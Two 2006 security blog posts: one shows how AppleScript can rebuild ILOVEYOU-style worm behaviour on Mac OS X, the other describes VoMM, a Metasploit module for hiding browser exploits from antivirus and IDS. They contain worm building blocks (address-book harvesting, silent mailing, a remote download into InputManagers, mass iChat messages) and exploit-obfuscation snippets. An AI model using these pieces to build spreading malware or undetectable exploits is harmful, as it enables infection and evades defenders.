Showing posts with label Malware. Show all posts
Showing posts with label Malware. Show all posts

Tuesday, December 26, 2006

AppleScript: Even easier than VBS? (I)

After playing with the AppleScript language for a while, it looks like an extremely useful feature of Mac OS X, which enables interaction with mostly every application installed. It's extremely similar (functionality-wise) to Microsoft's Visual Basic Script (VBS), which also enables scriptability of the whole system, depending on installed components and other settings. VBS certainly helped to automate tasks and other operations in Microsoft Windows, but also brought a whole new class of malware.

Thanks to the integration of the scripting functionality, it becomes much more easier to elaborate malware capable of spreading itself, for example accessing the Microsoft Outlook address book to gather target e-mail addresses. The first widely known in-the-wild example of malware deploying these techniques was the infamous ILOVEYOU. It's worth noting, that, while they weren't capable of "morphing" their code (ex. on spread time, they didn't generate a different source representation of themselves), they already made use of obfuscation techniques such as variable name randomization, strings encoding and other tricks. Thus, the author needed to start different infections using variants, in order to avoid detection by signature-based antivirus and IDS products.

We'll be walking through the original LoveLetter (aka ILOVEYOU) worm source code and looking over the equivalent functionality and potentially harmful capabilities of AppleScript.

Note: Some readers report warnings and blocked content by antivirus products. No script is being executed at all, although, real source code is quoted and thus it may be detected by the AV engine as harmful content.

More...

Warming up with VBS vs. AppleScript

The following is a fragment of the ILOVEYOU/LoveLetter worm source code (Update: edited to avoid false positives in AV engines), which initializes an object for filesystem access and opens itself (WScript.ScriptFullname is the path to the current running script):

Set myFs = CreateObject("Scripting.FileSystemObject")
set mySelf = myFs.OpenTextFile(WScript.ScriptFullname, 1)

This functionality is also present in AppleScript, and it's certainly much more flexible (no need to initialize an object for reading the file, as well as simplified filesystem operations):

set pathLetter to (path to me)
set myLetter to (read pathLetter)

The above AppleScript code simply makes the script read itself (path to me) and stores the data in the myLetter variable.

Spread. You've got Mail.

The following code is part of the LoveLetter spreading routine (Update: edited to avoid AV engines false positives):

set myOut = WScript.CreateObject("Outlook.Application")
set myBook =
myOut.GetNameSpace("MAPI")
(...)
for myCtrlLists = 1 to
myBook.AddressLists.Count
set myAddrs =
myBook.AddressLists(myCtrlLists)
(...)
set myEvilMessage =
myOut.CreateItem(0)
myEvilMessage.Recipients.Add(poorDude)
myEvilMessage.Subject = myEvilSubject
myEvilMessage.Body = vbcrlf&myEvilBody
myEvilMessage.Attachments.Add(sysDir&randName)
myEvilMessage.Send
(...)

Let's check what the above code is doing. First it initializes two objects, for Outlook and Address Book scriptability. Then it walks through the address book and sends an e-mail with a pseudo-random payload and the script as attachment. Simple, and fast. Now, we are going to check for the same functionality in our very own AppleScript:

  1. We need to access a list of e-mail addresses somewhere.
    1. Address Book
    2. Mail
    3. Other applications installed that could be integrated: Entourage, Eudora, etc.
  2. Then we need to use the target application scriptability:
    1. Mail

Fortunately, AppleScript isn't as over-complicated as VBS. Interaction with installed applications is done using 'tell' blocks:

tell application "Mail"
(...)
end tell

Thus, we'll need a block for iterating through the Address Book entries (testing each one for available e-mail field) and another one for sending the messages. Easy. Let's see how we can send an e-mail (added arbitrary line breaks for making it fit in the page):

tell application "Mail"
set pwnMessage to make new outgoing message with properties {
subject:"Welcome to Pwndertino",
sender:"Pwnies Mghee", address:"pwnies@mghee.org",
content:"Hey, happy xmas! check the photo.", visible:false}
tell pwnMessage
make new to recipient with properties {address:"bob@example.org"}
end tell
send pwnMessage
quit
end tell

The above code is self-explanatory: we 'tell' the Mail application to make a new outgoing message for recipient 'bob@example.org' from 'Pwnies Mghee', with subject 'Welcome to Pwndertino'. It won't prompt the user for sending, but it will leave the e-mail in the Sent folder.

Finally, for gathering e-mail addresses from the user Address Book:

set myList to {}
tell application "Address Book"
repeat with thisDude in every person
repeat with thisEmail in email of thisDude
set myList to myList & (value of thisEmail as string)
end repeat
end repeat
end tell

Downloading arbitrary content

A nice functionality exists in AppleScript that makes possible automated downloading of content from arbitrary sources, to a place in the filesystem of our choice:

tell application "URL Access Scripting"
set evilURL to "http://projects.info-pull.com/moab/images/apple-peeler.jpg"
set targetPath to ((path to home folder) & "Library:InputManagers:Apple.jpg") as string
download evilURL to file targetPath replacing yes
end tell

The above code simply downloads an image to your home folder Library/InputManagers directory. A malicious script could download a compressed bundle, another script or any other payload you can imagine (for example a Universal Binary), then executing it or uncompressing the input manager for installing a backdoor on the target system. Actually, the LoveLetter worm needed a trick in Internet Explorer to download a remote executable (setting the startup page to the target URL), which wasn't 100% reliable. In Mac OS X, we have this nice URL Access Scripting which makes it easy and most probably reliable on every OS X installation.

Fun with iChat

Of course, the by-default instant messaging application of Mac OS X, iChat, is accessible from AppleScript. A few different operations are available, from listing available contacts to setting the status message or sending a message (Doesn't that sound like those IM-based worms which send an URL to every contact in the account, expecting them to download and run the file?):

tell application "iChat"
set myAccounts to (get properties of every account)
set myList to {}
repeat with acct in myAccounts
copy acct's id to the end of myList
end repeat
end tell

The above code will store all available contact IDs in the myList variable. The following script, instead, will send a message to each available contact:

tell application "iChat"
set myMsg to "Welcome to Pwndertino" as string
repeat with acct in every account
send myMsg to acct
end repeat
end tell

And for changing the status message:

tell application "iChat"
set newStatus to "Check out http://evil.foo!"
set status message to newStatus
end

Binary vs. Text-based

VBS scripts are plain text files, but AS scripts are contained in a binary format, which can be restricted from modification (that is, read-only compiled scripts won't be opened by the Script Editor). Although, in the near future this restriction could be rendered useless (probably there's nothing more than simple encoding as the file differences seem to be minimal, and read-only scripts could be reversed back to their edit-capable status).

So-called "in-the-wild cases"

Malware developed with VBS has been present for years, with many infamous in-the-wild infections. A load of tools, and do-it-yourself kits appeared, like VBSWG (used to create the Anna Kournikova worm and many other variants), causing a storm of generic malware and variants of the same sample. Reading the VX Heavens statistics, we can see there are 1562 samples of VBS-based malware. For AppleScript, no entry exists. Although, in-the-wild infections caused by AppleScript-based worms have been in the news.

Mac.Simpsons@mm used Microsoft Outlook Express or Entourage for spreading itself to all available contacts, as well as copying itself to the Startup Items folder. Like with many other worms, user interaction was a requirement for successful infection.

Conclusions

Apple, once again, has invested more on usability and integration than on security. AppleScript is a great feature which makes OS X easier for those who need to perform repetitive tasks and other operations supported by this powerful scripting language. It's easy to learn and tightly integrated in the system, providing access to every installed application and it's associated information.

But this leaves a huge attack surface for those good old malware villains. If VBS caused the 'worm big bang' in Microsoft Windows systems, there's no doubt there will be a similar movement around OS X and its now unlimited scripting facilities.But the question is, Is it really worth (as in profit) to invest time on OS X malware? The answer remains unknown. But it would be useful to inject a dose of reality right into the brain of some clueless hipsters.

Further information:

  1. MacInTouch Special Report: Simpsons AppleScript Virus
  2. Sophos information about AplS/Simpsons-A
  3. Building Anna Kournikova: An Analysis of the VBSWG Worm Kit
  4. CERT Advisory CA-2000-04 Love Letter Worm

Friday, October 13, 2006

VML Exploit and IDS/antivirus engines evasion: Doom or VoMM?

VoMM logo

Update (17th October 2006): Aviv posted a follow-up in his blog, with further notes on AV signatures, as well as a short note in Bugtraq. Gregg Keizer has written a short article for TechWeb, although it doesn't link to either Aviv's or this blog article. Mentions an alert being delivered by Symantec to it's DeepSight customers.

A couple weeks ago, Aviv posted to his blog about IDS/AV evasion techniques that could be applied to the Microsoft Internet Explorer VML vulnerability, describing different methods and the effect on reliability of signatures and detection mechanisms of many different antivirus engines (testing via VirusTotal). This applies to IDS and other technologies that rely on signatures for fingerprinting potential threats. Signatures are a flawed assumption: we expect everything to be fine unless it looks like what I know to be wrong. An article at "heise Security" comments about it as well. HD implemented most of the methods in the Metasploit version of the exploit, known as ie_vml_rectfill, defeating all the engines supported by VirusTotal automated scanning, likely defeating Snort and other IDS as well.

As of the need to wrap all of this techniques (and others being implemented) and provide easily accessible (and flexible) functionality for browser exploit evasion (focusing on JavaScript based exploits), a "side project" for Metasploit, named VoMM (eVade o' Matic Module), has been started. Developed and maintained by LMH from Info-pull.com and fellow Aviv Raff, it aims to provide several techniques out of the box to make browser exploits (mostly) undetectable.

The most relevant techniques being deployed:

  1. White-space randomization (using whitespace, tabs, etc).
  2. String obfuscation and encoding.
  3. Random comments: placement and manipulation of existing ones.
  4. Block randomization.
  5. Variables and functions names randomization.
  6. Integer and misc. variables obfuscation.
  7. Function pointer reassignment.

White-space randomization basically introduces non-intrusive (as in functionality or impact on exploit reliability) changes to the JavaScript code. Tabs, white-spaces, new lines and carriage returns (0x09 0x20 0x0a 0x0d , respectively) are added randomly, significantly affecting the structure of the binary stream.

This is effective against most signature-based engines although it leaves the strings, variables and real code unchanged. IDS can still detect it by checking for known, fixed values (for example, the name of an Active X control like RDS.DataControl and WebViewFolderIcon.WebViewFolderIcon.1). In order to avoid detection due to usage of fixed values in string variables, string obfuscation and encoding is necessary.

VoMM implements sophisticated methods for obfuscating and encoding string values. First, string values can be encoded with a simple Caesar Shift (using XOR for each character in the string).

for (i=0; i < original_string.length; ++i) {

encoded_string += String.fromCharCode(key ^ original_string.charCodeAt(i));

}

Second, a decoding function is generated and then the original string value is replaced by the encoded representation plus callback to decoder.

var tar = new ActiveXObject(dec_1("&VdcWhdvGnmedsHbno/VdcWhdvGnmedsHbno/0&amp;amp;amp;"));

An important issue with the evasion techniques is that they act as a layered solution. Things like white-space randomization go after code generation, string obfuscation, etc. The main reason is that some techniques may introduce potentially detectable code, that can be covered by another method. For example, a signature could be made for fingerprinting the template decoding function. Although, white-space randomization and random comments placement plus block randomization, make it rather stealth against mostly all technologies (except complex sandboxes or similar approaches that evaluate the JavaScript itself, which could be also bypassed with HD's function pointer reassignment concept, and probably other obscure tricks).

Going back to string obfuscation, other methods that have been chosen for implementation, include 'string splitting'. The name should be self explanatory:


/* simple... */
var rand1 = 'Hello';
var rand2 = 'World';
var rand3 = rand 1 + rand2;

And a far more complex method, randomizing placement of variables as well as concatenation to build the real string: (and further splitting)


var rand4 = 'o';
var rand2 = 'Wor';
var rand1 = 'Hell';
var rand5 = rand4 + rand1;
var rand6 = 'ld';
var rand7 = rand2 + rand6;
var rand3 = rand 5 + rand6;

The last technique is word-based substitution (adding the requirement of assignment for each word and character or target string), which could add significant overhead. Although, it's still a nice experiment to work with.

Random comment placement has been mentioned earlier in this rather long article. It's simply about adding JavaScript comments at random locations without conflicting with the existing code. Also randomizing existing comments contents, probably using a word list instead of just alphanumeric sequences (thus less likely detectable, this has been pointed out by Aviv several times). Random line endings and many other nice tricks could be done. Actually, comments can be placed arbitrarily all over the code without conflicting with it's functionality:


/* comment placement randomization */
function /* random */ myfunc/*random*/(/*random*/)/*random*/ {
/*random*/alert/*random*/(/*random*/''/*random*/)/*random*/;
/*random*/} /*random*/ myfunc/*random*/(/*random*/)/*random*/;

The next technique is probably one of the most sophisticated concepts so far. It's implementation is fairly complex and still being worked on. Block randomization involves changing loops, if statements and any other possible code block randomly. Let's see how it works:

  • Different kinds of loops provide the same functionality.
    • for
    • while
    • do..while

Thus, imagine we use a for loop in our payload. VoMM could transform it to a while loop without impacting the functionality.


var i = 0;

for (i = 0; i < 10; i++) { /* for loop */ }

while (i < 10) { i++; /* while loop */ }

do { i++; /* do..while loop */ } while (i < 10)

The problem in the deployment of this concept is the complexity of parsing the payload code and transform the code blocks properly, as well as the types of code blocks that can be transformed and the manipulation possibilities. A similar effect on if statements would be changing order of checks, nesting, etc.

The next concept is variables and functions names randomization, a fundamental part as it covers the evasion for internal payload function callbacks and variables, closing the first evasion layer altogether with the variable values obfuscation techniques (ex. string encoding, integer factorization). VoMM currently uses a word list for taking random words instead of alphanumeric sequences which could be more likely detected (most probably depending if size is fixed or random).

var steep = unescape("%u0505%u0505");
steep = rubbish(steep,gaithersburg);
var badland = (conferring - 0x400000)/leviticus;
(...)
function rubbish(steep, gaithersburg) {

Simple yet powerful. Another concept that has been mentioned is integer and general variables obfuscation. Memory addresses, sizes, etc; are declared using JavaScript as hexadecimal integers. For example, this is mandatory for exploits written for stack and heap based buffer overflows.

var heapSprayToAddress = 0x05050505;

These values are hot spots for IDS and AV signatures. It's common practice that NOP sleds and widely used payloads get in their signatures before anything else. In other words, these values must be obfuscated someway. Currently we have different methods for successful obfuscation:

  • XOR: 0xdead ^ 0xbabe = 0x6413 ^ 0xbabe = 0xdead
  • Factorization: 0xdead = 57005 = 5 * 13 * 877

irb(main):161:0> zerofactor = Factorization.new(my_test.scan(/[0][x][0-9a-fA-F]+/)[0].hex)
irb(main):162:0> zerofactor.factors
=> [[2, 23]]
irb(main):163:0> zerofactor.to_s
=> "2^23 (8388608)"
  • Addition: 0xdead + 0xbeef = 0x19d9c - 0xbeef = 0xdead
  • Division: 0x50505050 / 5 = 0x10101010 * 5 = 0x50505050
  • Subtraction: 0xdead - 0xbabe = 0x23ef + 0xbabe = 0xdead

Once the values have been calculated, the old variable value should be replaced with the proper obfuscated version, and it's different values, placed in random locations, in the same line or in the line before calculation.

var n1 = 0x10101010;
var n2 = 0x5;
var heapSprayToAddress = n1 * n2;

Finally, function pointer reassignment, as suggested by HD. It defeats signatures and probably some rather weak sandbox software, but overall serves as a way to alter the code without limits, and again, without affecting the exploit reliability. Basically, pointers to functions are defined and placed around the code, and used instead of calling the real function ("masking"):


var un = unescape;

var payLoadCode = un("%u9090%u9090");
var dw = document.write;
dw('VoMM');

These are the most important features and details of VoMM, and hopefully will give an idea of where the project is going. Still under active development, it will take some time until stable release date. The goal is state of the art evasion for browser exploits, integrated with Metasploit, fully backwards compatible and with no configuration needed.

VoMM will parse the JavaScript code and perform the necessary evasion techniques, without need of interaction. Not even markers, helpers or comments in your code. Give it plain static JS without any type of obfuscation nor evasion technique and VoMM will turn it into a mostly undetectable, stealth exploit.

Right now there's nothing similar out there and most of the concepts aren't well known (or there's no previous work nor information about them).

Feedback is always welcome, donations too and of course code and contributions (although project is not yet open to the public, including it's Wiki and current sources tree).

Thanks for reading.